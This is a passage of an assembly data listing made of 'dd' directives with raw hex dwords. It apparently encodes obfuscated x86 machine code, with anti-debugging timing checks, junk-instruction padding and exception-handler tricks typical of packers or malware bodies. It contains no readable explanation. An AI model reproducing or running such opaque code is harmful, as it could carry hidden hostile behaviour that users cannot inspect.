6, 681BD8Bh, 0EF81060Bh, 14A5BB47h dd 0BD8BD18Bh, 60B2B61h, 9DE9h, 0F8BF0F00h, 800Fh, 858B0000h dd 5F4C4C44h, 3A6761BFh, 7C0836Bh, 15B19589h, 0C083060Bh dd 0FAB70F00h, 830FD03Bh, 20h, 8E8h, 0A4BB9200h, 55C60194h dd 9D035349h, 60B1FC1h, 57E95F5Bh, 0BB000000h, 1B78E20h dd 0FFFF8D8Bh, 0BB66FFFFh, 0E183478Dh, 3F840F01h, 60000000h dd 9EDA8166h, 0C9B50941h, 61060B1Fh, 0FFFFA583h, 0E9FEFFFFh dd 12h, 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 0BB664A7Ah dd 95892054h, 5F4C4C44h, 79D066BFh, 0E97Fh, 0B58D0000h dd 60F5F5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0CBC35141h, 8CB28925h, 2EA72CEAh, 19D8BE5h, 60060B33h dd 2E618D8Bh, 6A61060Bh, 0D4E38100h, 0FF4CC1CCh, 0B32DD95h dd 0FE8B6606h, 0FD8B9h, 13E900h, 0F13C0000h, 0C5DB623h dd 5A0DA5CDh, 87D206CAh, 44058050h, 0DAB8BF43h, 0E18324B3h dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 11E907EFh, 0DB000000h, 0E6A80BFAh, 0C85DDAE9h dd 0D6FE16C4h, 14CAC07Eh, 458D09FCh, 8B060B32h, 0B0E89BDh dd 0B806h, 9D890000h, 60B08D5h, 870FD22Bh, 6, 2939BD8Bh dd 0BD0B060Bh, 60B21C1h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 2A999D33h, 880D060Bh, 60000000h, 0BE81CB5h, 0FE000000h dd 1F11A9F6h, 0F18D271h, 9D89F6B4h, 60B0F09h, 958B6158h dd 60B174Dh, 4870Fh, 0BF660000h, 8D8BB585h, 60B0119h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A0C35040h, 62F0ABB8h dd 0BD89BA8Ch, 60B0965h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0E256BBC3h, 2425BD8Bh, 0FF8060Bh dd 687h, 959D0100h, 83060B12h, 0B29BDBDh, 840F0006h, 82h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C9C35141h dd 1AC5BD8Bh, 0B8060Bh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D737C352h dd 0F217F3Eh, 8D8DDABFh, 60B4DD7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0F4C35242h, 77474EA5h, 6860FB5h dd 8B000000h, 0B26F99Dh, 80E1FF06h, 0BD832EE3h, 60B1009h dd 52840F00h, 0E8000004h, 0Fh, 25E51D28h, 982FF8A3h, 0C07830F4h dd 0FD00504h, 68Bh, 0D5958900h, 5F060B2Eh, 1009BD83h, 0F01060Bh dd 43F84h, 81858900h, 83060B0Ch, 0B1009BDh, 860F0306h dd 3F6h, 6A60F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 93F24EC3h, 0B509C5D5h, 60B016Dh dd 29D98C66h, 0B0295BDh, 4E18006h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0B0C35141h, 53AC1D99h, 3D6FB4F6h dd 0FC90A9Eh, 14384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0B70FFC53h, 7D858BD9h dd 6A060B31h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 8C57C352h, 890FB199h, 6, 0E459D8Bh dd 0BB66060Bh, 8533F09Ch, 60B06EDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0DBC35343h, 90AA4C6Bh, 9050D98Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 14C35343h dd 1B6608E9h, 0B70F006Ah, 0B79668F8h, 0B760C80Fh, 4816125h dd 0F4C6924h, 55006A38h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 64756FDCh, 0BF87BF47h, 9D293819h dd 60B3331h, 3D195FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 727EF8C3h, 858943B3h dd 60EA81Dh, 8800Fh, 8F0F0000h, 2, 2EE96160h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0B6D9C351h, 803861FBh, 0D98B665Dh, 0A815858Bh dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 3AD5EC3h, 1A810FC6h, 60000000h, 0DE9h, 41BCD500h dd 0E76F3EC7h, 0B8372300h, 958B3878h, 60B0841h, 0D8B70F61h dd 1800C7h, 8D890000h, 60B28EDh, 0A819B58Bh, 0E381060Eh dd 6404B2CBh, 6E1858Bh, 840F060Bh, 6, 2711BD89h, 0BF66060Bh dd 6897F3Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 43C35747h, 0E2EDAF7Ch, 858B5EB6h, 60B317Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D4C35646h, 43BFE176h dd 9D2397B1h, 60B20C9h, 0E19D29h, 4689060Bh, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0DD83733Bh, 0C43DAD88h, 96F98BF5h, 0D40983BFh, 5157507Bh dd 310F5250h, 5B5B585Ah, 0CE996h, 0E52E0000h, 17644588h dd 6B3423CFh, 0B5FF7977h, 60EA815h, 0FAE3D781h, 8B66312Bh dd 4E8F9h, 3FF0000h, 0BE8001Fh, 86000000h, 9B54FFB4h, 6621085Ah dd 66517952h, 5B5BDF8Bh, 8B94B350h, 0E8042444h, 0Dh, 0A253B878h dd 7C883645h, 22523922h, 0F98B66BFh, 89008B5Fh, 60042444h dd 6890Fh, 52500000h, 585A310Fh, 5861C68Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4FC35040h, 3D731DD6h dd 29CF1DFAh, 2E65BD89h, 0BD89060Bh, 60B2A05h, 0A81D858Dh dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8BD983C3h, 0B31D5BDh, 8B665006h, 240489F9h dd 0FFD98B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 16058BCh, 4582BF1Ah dd 6A6156h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0C7090BC3h, 0B100985h, 306h, 0CFC78100h dd 833E179Bh, 0EA81DBDh, 840F0006h, 0Eh, 0E9DFB70Fh, 21h dd 1045BD89h, 3050060Bh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0E9BB9814h, 6A62590Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7F9DC353h, 0E573BB66h, 1009BD83h, 0F03060Bh, 44F85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 28048559h, 0B651AA7h, 6820F51h, 89000000h dd 0B211DBDh, 0BD835B06h, 60EA81Dh, 11840F00h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0C427C357h, 41A37C97h, 207DB589h, 0B5FF060Bh dd 60EA81Dh, 1F8B70Fh, 0B2A3195h, 3D95FF06h, 0E9060B08h dd 11h, 0CD1320CBh, 5848DA32h, 0C4D8B71Ch, 560CB026h, 11B58B3Dh dd 6A060EA8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0DBF3C353h, 0B00618B3h, 0D980D4ACh dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 519650C3h, 34BB505Fh, 96725F86h dd 0A81DB5FFh, 11E9060Eh, 0D3000000h, 46D35D07h, 7C801190h dd 8BD577Ah, 3DCE3AFAh, 64195FFh, 6A060Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 879F20C3h dd 0F5A1817h, 83h, 11B58B00h, 6A060EA8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 273FC355h dd 0EDCAABDAh, 0BD31CB4Fh, 60B12E1h, 121D858Bh, 12E8060Bh dd 2A000000h, 0D3FD29DDh, 9EC092E6h, 9A4FB6B5h, 7B68B72Ch dd 5F9BB77Dh, 0C48689h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0CCD363C3h, 52E7805Ch dd 174D958Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 452F7BC3h, 237F3031h, 4C283F5h dd 81DFB70Fh, 0E6A099CBh, 20508929h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0AEC35040h, 858D0523h, 60EBAEEh dd 0B88689h, 5F520000h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 11682DC3h, 89EC5948h dd 0B28C99Dh, 1DB5FF06h, 8B060EA8h, 0B27359Dh, 1595FF06h dd 6A060B0Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0E58CC357h, 698F4CBEh, 9D8BBA17h dd 60B14E5h, 14840F96h, 0E9000000h, 0Fh, 0B4FD50DAh, 8739316Ch dd 0A9290181h, 508F9992h, 0CE9h, 9E491000h, 0A80EE55Ch dd 0EFA7E3D3h, 9D8B9687h, 60B1B79h, 0A81DB5FFh, 6A060Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 8F4481C3h, 0C51EAE51h, 9D03306Ch, 60B0405h, 0F595FFh dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BD2936C3h, 60B0F59h, 2191BD83h, 0F00060Bh dd 3784h, 6E800h, 0EF10000h, 0D37EBBFCh, 14860Fh, 0FE90000h dd 50000000h, 9BC1493Dh, 24728E31h, 2ABD19B2h, 965F324Dh dd 50D88B66h, 0BC68F2BFh, 95019612h, 60B19B9h, 0A81DB5FFh dd 6A060Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0B2B821C3h, 1521BD8Bh, 95FF060Bh, 60B1281h dd 8E8h, 34F8C200h, 99136C6Eh, 5FAFB72Eh, 0A81DB5FFh, 6A060Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0EC0C26C3h, 212DBD23h, 95FF060Bh, 60B0B8Dh, 60FA8B66h dd 0BEC2B70Fh, 1795698Ch, 0F1BD8361h, 2060B17h, 77840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0E1BA11C3h, 69F9119Bh, 2EC5858Bh, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0DF2FF5C3h, 10595475h, 0C6DBh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0DEC35141h, 2C5C17EBh, 89E85691h dd 0B2F5195h, 0B985C706h, 60B06h, 0BB000000h, 2EA175C1h dd 0FFF375E9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 6850F20h, 89000000h, 0B18999Dh dd 6AC18B06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 15C7C355h, 8D8DB337h, 0B28A985h dd 719D8B06h, 50060B20h, 0EE8h, 0BFFD9D00h, 8AEC0D4Fh dd 0C500B961h, 5F26E09Eh, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2949C355h dd 6A07A1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0EDC35040h, 0C3E5CB4Fh, 6A0884h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 71C35141h, 0FFA8BFCh dd 681h, 0D99D8B00h, 8D060B2Eh, 0FF1D185h, 0EFD38006h dd 905C083h, 0B022985h, 8B669006h, 0FB8B50FAh, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 551BC3A2h, 0BD8BBECCh, 60B1ECDh, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 82CE79C3h dd 86DFAAFEh, 89958903h, 6A060B12h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 47C031F5h dd 0FC93AB49h, 13E9h, 0CDEA000h, 7D5E9104h, 0B090FF10h dd 0B237CD36h, 7A7F319Ah, 2F2195FFh, 6A060Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0F3BC1FC3h dd 0B368BF00h, 8D8D5B52h, 60EA7B0h, 0FFFFB70Fh, 19BF66D1h dd 19BD8399h, 1060B0Bh, 0B7850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4C171BC3h dd 0DF8B66B6h, 18E59589h, 26A060Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0D0C35040h, 163F6C3Ah, 2EB997D7h dd 15D99D8Bh, 0EF81060Bh, 26A0D368h, 0C8BB6690h, 5250503Eh dd 0DE8h, 89B9C800h, 1DE0BBDEh, 62F880ADh, 61601F04h, 60310F5Fh dd 21C2D0BAh, 4B96636h, 585A6115h, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 5804B534h dd 334AA798h, 0FF18D89h, 95FF060Bh, 60B0F15h, 0CB7E9FCh dd 0E80000h, 5D000000h, 0F1DBED81h, 6A060Fh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FBBF09C3h dd 5679D7F8h, 9D8B6040h, 60B23F5h, 5498BF66h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1CC35545h, 0C19221FCh dd 56540C0Eh, 93858D35h, 6A060E92h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0DD9BC355h dd 8C7BA9D0h, 0F82A467Dh, 0BF7FCB80h, 6519ABF1h, 50D98B90h dd 1A8B0Fh, 12E80000h, 0D9000000h, 0AF6C8A19h, 5A42239Dh dd 0C6EFC049h, 0FEAD1B3Bh, 5B6160A3h, 8E990h dd 49AC0000h, 0E2FB7992h, 0FF6460C4h, 35h, 0EEB96000h dd 0F65B91Dh, 381h, 0F78B6600h, 25896461h, 0 dd 13399D8Bh, 85FF060Bh, 60B066Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0C7C35040h, 21179651h, 0FF6AC85Bh dd 1F8DB5FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8D8958C3h, 60B0CA1h, 241195FFh dd 1BE9060Bh, 8B000001h, 0E600B0FBh, 0A03EBB70h, 71E42450h dd 0FE9h, 9C412300h, 0B32535B9h, 7C74E5A2h, 7A1A3AEEh dd 830F613Ch, 0F2h, 2AC9BD89h, 0B60F060Bh, 0D78166C8h dd 6BA4768h, 0E8000000h, 8, 0A0043D6Dh, 0A571E824h, 721BF66h dd 0FC18B5Bh, 380h, 0FFB70F00h, 8B04E8C1h, 0B33819Dh, 0E2F76606h dd 840Fh, 0C82B0000h, 12219D09h, 0D18B060Bh, 0B658589h dd 9BE9060Bh, 66000000h, 0D6D8F781h, 2EC1BD8Bh, 858B060Bh dd 47554C50h, 0CFDD81BFh, 7C08307h, 0BF0F6051h, 0D8529CBh dd 61060B0Ch, 0C0835Fh, 3BDE8B66h, 16830FD0h, 0F000000h dd 681h, 0BD9D8900h, 0E9060B27h, 56h, 0D2C38166h, 0FF8D8B23h dd 60FFFFFFh, 371DF3BAh, 61FB8B61h, 0F01E183h, 3984h, 259D8B00h dd 83060B2Eh, 0FFFFFFA5h, 8B0FFEFFh, 15h, 0F870Fh, 0AE90000h dd 0A7000000h, 641D2181h, 0DFCAAD6Fh, 50958966h, 2947554Ch dd 0B21BD85h, 0E906h, 0B58D0000h, 60F6F34h, 6AF88Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 27C35242h, 723295A1h dd 5D9082A0h, 89F48A60h, 0B06E995h, 0DE8B6106h, 32DD95FFh dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 781947C3h, 0BB3D3AE3h, 332D9D89h, 0F1B9060Bh dd 6A00000Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 1A7BC356h, 0E918529h, 0E183060Bh dd 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 290ECF4Ch, 0B2EE185h, 9D0BFC06h, 60B103Dh dd 0D22BC02Bh, 0B42006BFh, 0C233AD64h, 0D003E8D1h, 7504E983h dd 0E38166F4h, 0FA8BF8DAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0E0C35343h, 78EB894Ch, 4D4D8775h, 1A199D89h dd 880D060Bh, 3000000h, 0B2E659Dh, 4D958B06h, 6A060B17h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 3ACAC351h, 8B00BBBEh, 0B04E99Dh, 198D8B06h dd 0BB060B01h, 3F44CDE3h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 8D895818h, 60B03F5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 47C35545h, 9D8BD4F1h, 60B01F1h dd 29BDBD83h, 0F00060Bh, 7684h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 18EFF2B2h dd 4D765882h, 12E9h, 0C6174500h, 0D99B2993h, 0ED8C8BBFh dd 3E4A2831h, 0B82E3F74h, 0 dd 2491BD33h, 8D8D060Bh, 60B4DD7h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 52C35747h, 632CE645h, 2CAD3158h dd 8CBFE1FFh, 83605782h, 0B1009BDh, 840F0006h, 3B1h, 0DF98D89h dd 0BD83060Bh, 60B1009h, 0B9840F01h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 4A6CC357h, 0BD83584Ah, 60B1009h, 57860F03h, 6A000003h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 9CDAC357h, 559D89E8h, 60060B17h, 0EE06B4BFh dd 0D98C6638h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 43C35646h, 0DF36B25Bh, 29064432h, 0B04C18Dh, 4E18006h dd 60CCBB66h, 0BE9h, 14B8E300h, 9DEE097Bh, 0B6C03AECh dd 840FC90Ah, 129h, 1265BD2Bh, 858B060Bh, 60B317Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 45C35343h, 8C1B2CBEh dd 0B690DB81h, 853332EEh, 60B06EDh, 33C19D8Bh, 6050060Bh dd 0D38B6660h, 0C4F6BA66h, 0D38B6661h, 24048961h, 13FD9531h dd 6A060Bh, 13E8h, 0BE761B00h, 8DB4ADFh, 8909DC58h, 0E468BA8Eh dd 0BA26DEFAh, 80F38166h, 4E85B00h, 0FF000000h, 0E9001F03h dd 0Dh, 622B7811h, 9D46F645h, 0DA8FE7F4h, 60605003h, 310F5250h dd 850F585Ah, 0 dd 448B6161h, 52500424h, 0BF56310Fh, 68225513h, 8B585A5Fh dd 0C4B0BF00h, 4489528Bh, 11E80424h, 34000000h, 91E77692h dd 693A27DFh, 0DFC42FD4h, 7236EFB0h, 9E8h, 3B319E00h, 2537662Ch dd 0BB660C3Dh, 5F5BED17h, 0FFCB8058h, 3D195FFh, 0BF66060Bh dd 85899D65h, 60EA81Dh, 2BEB8166h, 185E90Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0D8237C3h, 4F03D01h, 15858BB5h, 66060EA8h, 0C7D88Bh dd 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 53C35040h, 81BD8BA3h, 8B060B24h, 0EA819B5h, 5DBD8B06h dd 8B060B28h, 0B06E185h, 19D8B06h, 89060B22h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0CD99C0C3h, 42A979D0h, 0BB59D29h, 858B060Bh, 60B317Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D4C35646h dd 0C60F3AC5h, 0FA8B66DBh, 6A044689h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0BA34C356h dd 96E966B6h, 0CE9h, 61414E00h, 221C35C6h, 33E3FF99h, 20BF5032h dd 9662919Ch, 6880Fh, 0B5890000h, 60B021Dh, 0A815B5FFh dd 0FA8B060Eh, 0B4B268h, 0DFBB6691h, 240481E1h, 6F1E4F4Dh dd 1D858DF5h, 50060EA8h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0CFC4C350h dd 23F5BD89h, 0BF66060Bh, 95FFDAE0h, 60B03D1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1FC35343h, 0CE0FB28Ah dd 63F27E78h, 33259D09h, 61F5060Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0D0C35545h, 9842A979h, 5A293D1h dd 0D327BB2Eh, 85C711E7h, 60B1009h, 3, 129D9D0Bh, 0BD83060Bh dd 60EA81Dh, 0F840F00h, 66000000h, 22E9F88Bh, 0B3000000h dd 1EC4BF12h, 30506A81h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 74B843F8h, 300698C1h dd 9DBD89F9h, 6A060B0Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0B559C353h, 0A9527617h dd 2040B6BFh, 66B2BF26h, 13E94C91h, 0E2000000h, 0EC583849h dd 3295A127h, 9082A072h, 0B1B8765Dh, 0BD83097Eh, 60B1009h dd 0CF850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 86CCC353h, 8E0F2B22h dd 2, 0BD83D98Ah, 60EA81Dh, 9B840F00h, 0F9000003h, 0A81DB5FFh dd 8166060Eh, 0FF324AF3h, 0B083D95h, 0B58BF806h, 60EA811h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h dd 0C7A41743h, 1000106h, 99D8900h, 50060B0Dh, 0FCC2BF66h dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 4019C355h, 0B06591CDh, 0C02E28B5h dd 3D4FF381h, 0B5FF2893h, 60EA81Dh, 68B0F52h, 8B000000h dd 0B18FDBDh, 95FF5B06h, 60B0641h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 8CC35242h, 0A4CA7045h, 0C18589C5h dd 8B060B2Eh, 0EA811B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 507EE667h, 16899D8Bh dd 665F060Bh, 0DA6CE381h, 121D858Bh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E7813AC3h dd 853F76Ah, 0C48689h, 0B70F0000h, 4D958BD9h, 66060B17h dd 7F2DEB81h, 0E804C283h, 13h, 0F00750E4h, 750E44Eh, 50E44EF0h dd 0E44EF007h, 0BFF00750h, 0CBA6F13h, 2050895Fh, 0EE9h dd 0B9F83D00h, 2D838359h, 5A0556A4h, 8161B3D2h, 0FEC79CF3h dd 0EE858D33h, 6A060EBAh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8BD1C356h, 0B2A3DBDh dd 0B8868906h, 0F9000000h, 8166006Ah, 0FF0B28E7h, 0EA81DB5h dd 79BD8B06h, 0E9060B06h, 0Fh, 3D509AABh, 319BC149h, 0B224728Eh dd 0FF2ABD19h, 0B0F1595h, 50DF8B06h, 810F5250h, 2, 310F0BB7h dd 38AD19BFh, 89585A06h, 8B602434h, 68E0FDAh, 89000000h dd 0B23F5BDh, 0B5FF6106h, 60EA81Dh, 33C1BD29h, 8A0F060Bh dd 6, 2F498589h, 95FF060Bh, 60B00F5h, 4458EB81h, 0CE97595h dd 43000000h, 0DDF04C19h, 60D167h, 83FA64A2h, 0B2191BDh dd 840F0006h, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 22C35242h, 9E9EC69h, 0CB000000h, 0D78B2808h dd 0CC8DCC32h, 50DE8B96h, 10870Fh, 0BE90000h, 0E7000000h dd 7BD3E0D1h, 406561FEh, 6A969319h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0FB22C353h dd 9BD8B3Dh, 0FF060B23h, 0EA81DB5h, 0DA8B6606h, 128195FFh dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0CCD5E8C3h, 0B93C863Eh, 8C0F2915h, 6, 661BD23h dd 0B5FF060Bh, 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 21C35242h, 85953152h, 5B060B22h, 0B8D95FFh dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0DCAE7FC3h, 0E6541C07h, 29E1549Dh, 0B2D9195h dd 0F1BD8306h, 2060B17h, 28840Fh, 9D8B0000h, 60B0DDDh dd 8BF88B66h, 0B2EC585h, 0BE906h, 0FA300000h, 38CA8C92h dd 0B0E8DDA3h, 0C67Eh, 3899589h, 85C7060Bh, 60B06B9h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C3C35545h dd 0AD57EA79h, 9D8BDB82h, 60B1659h, 2E59BD8Bh, 67E9060Bh dd 89FFFFF4h, 0B059DBDh, 81C18B06h, 0C01BD4D7h, 0A9858D54h dd 31060B28h, 0B16619Dh, 8B669006h, 0DE8B50F8h, 75BD8990h dd 6A060B21h, 0C99D8900h, 6A060B26h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 108B9368h dd 8E858Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0FC7161C3h, 0FBF1424h, 833FF8B3h dd 958905C0h, 60B1A4Dh, 50525090h, 14E952h, 0D2710000h dd 0F6B40F18h, 0A860A957h, 4E382E5h, 0BE97E67Eh, 310F330Eh dd 6C3345BBh, 0F585A1Ah, 5E931h, 6BD30000h, 5A10DFE4h dd 14E85058h, 0A2000000h, 0D1A6C9C9h, 0B51A5711h, 0CEAE810Ah dd 47E32E9h, 0E9BABE2Bh, 9, 0A922CC39h, 0A13BD485h, 60905FE1h dd 29D99533h, 0F080060Bh, 6A61D9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0DEC35646h, 772C5AB7h, 198D8900h dd 6A060B11h, 69B58900h, 0FF060B17h, 0B2F2195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 1C5BD5A1h, 33519D29h, 0D98B060Bh, 0A7B08D8Dh, 6A060Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0FF841C3h, 8Fh, 6AD1FF00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 10AC353h, 9D9D799Ch dd 161FC099h, 11E8h, 75F39F00h, 4038A100h, 0A24645F2h dd 645E263Ah, 0F78198B6h, 63B7CA5Bh, 19BD835Bh, 1060B0Bh dd 48850Fh, 26A0000h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0EAC35141h, 5060500Dh, 0F88B6652h, 8B66310Fh dd 61585AF8h, 8B240489h, 0B3301BDh, 1595FF06h, 89060B0Fh dd 0B07B58Dh, 2606BB06h, 